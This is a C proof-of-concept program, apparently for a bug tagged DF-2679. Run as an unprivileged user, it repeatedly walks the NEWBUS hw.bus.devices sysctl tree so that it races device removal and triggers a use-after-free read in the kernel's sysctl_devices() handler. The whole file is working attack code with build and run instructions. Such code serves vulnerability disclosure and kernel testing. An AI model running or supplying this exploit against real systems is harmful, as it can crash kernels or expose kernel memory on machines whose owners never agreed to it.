/*
 * DF-2679 PoC: unprivileged NEWBUS sysctl reader.
 * Walks hw.bus.devices.<generation>.<index> in a tight loop, exactly like
 * devinfo(8) does.  Races device_delete_child() (kfree of bsd_device) on
 * the kernel side -> use-after-free read in sysctl_devices().
 *
 * Build: cc -O2 -o walker walker.c
 * Run as an UNPRIVILEGED user.
 */
#include <sys/types.h>
#include <sys/sysctl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>

struct u_businfo { int ub_version; int ub_generation; };

struct u_device {
	uintptr_t dv_handle;
	uintptr_t dv_parent;
	char dv_name[32];
	char dv_desc[32];
	char dv_drivername[32];
	char dv_pnpinfo[128];
	char dv_location[128];
	uint32_t dv_devflags;
	uint16_t dv_flags;
	int dv_state;
};

int
main(int argc, char **argv)
{
	int mib_info[CTL_MAXNAME], mib_dev[CTL_MAXNAME];
	size_t miblen, len;
	struct u_businfo ub;
	struct u_device ud;
	unsigned long iters = 0, fetches = 0, maxidx = 0;
	int idx, gen = -1, i;
	char name[128];

	miblen = CTL_MAXNAME;
	if (sysctlnametomib("hw.bus.info", mib_info, &miblen) != 0) {
		perror("sysctlnametomib hw.bus.info");
		exit(1);
	}
	miblen = CTL_MAXNAME;
	if (sysctlnametomib("hw.bus.devices", mib_dev, &miblen) != 0) {
		perror("sysctlnametomib hw.bus.devices");
		exit(1);
	}
	fprintf(stderr, "walker: info mib len=%zu dev mib len=%zu base=%d.%d.%d\n",
	    (size_t)3, miblen, mib_dev[0], mib_dev[1], mib_dev[2]);

	for (;;) {
		len = sizeof(ub);
		if (sysctl(mib_info, 3, &ub, &len, NULL, 0) != 0) {
			perror("sysctl hw.bus.info");
			usleep(1000);
			continue;
		}
		if (ub.ub_generation != gen) {
			fprintf(stderr, "walker: generation %d\n", ub.ub_generation);
			gen = ub.ub_generation;
		}
		mib_dev[miblen] = gen;
		for (idx = 0; ; idx++) {
			mib_dev[miblen + 1] = idx;
			len = sizeof(ud);
			if (sysctl(mib_dev, miblen + 2, &ud, &len, NULL, 0) != 0)
				break;
			fetches++;
			/* touch the data so the copy is not optimized away */
			for (i = 0; i < (int)sizeof(ud.dv_name); i += 16)
				name[(i / 16) % sizeof(name)] = ud.dv_name[i];
		}
		if ((unsigned long)idx > maxidx)
			maxidx = idx;
		iters++;
		if ((iters & 0x3ff) == 0)
			fprintf(stderr,
			    "walker: iters=%lu fetches=%lu maxidx=%lu gen=%d\n",
			    iters, fetches, maxidx, gen);
	}
	/* NOTREACHED */
	return (0);
}
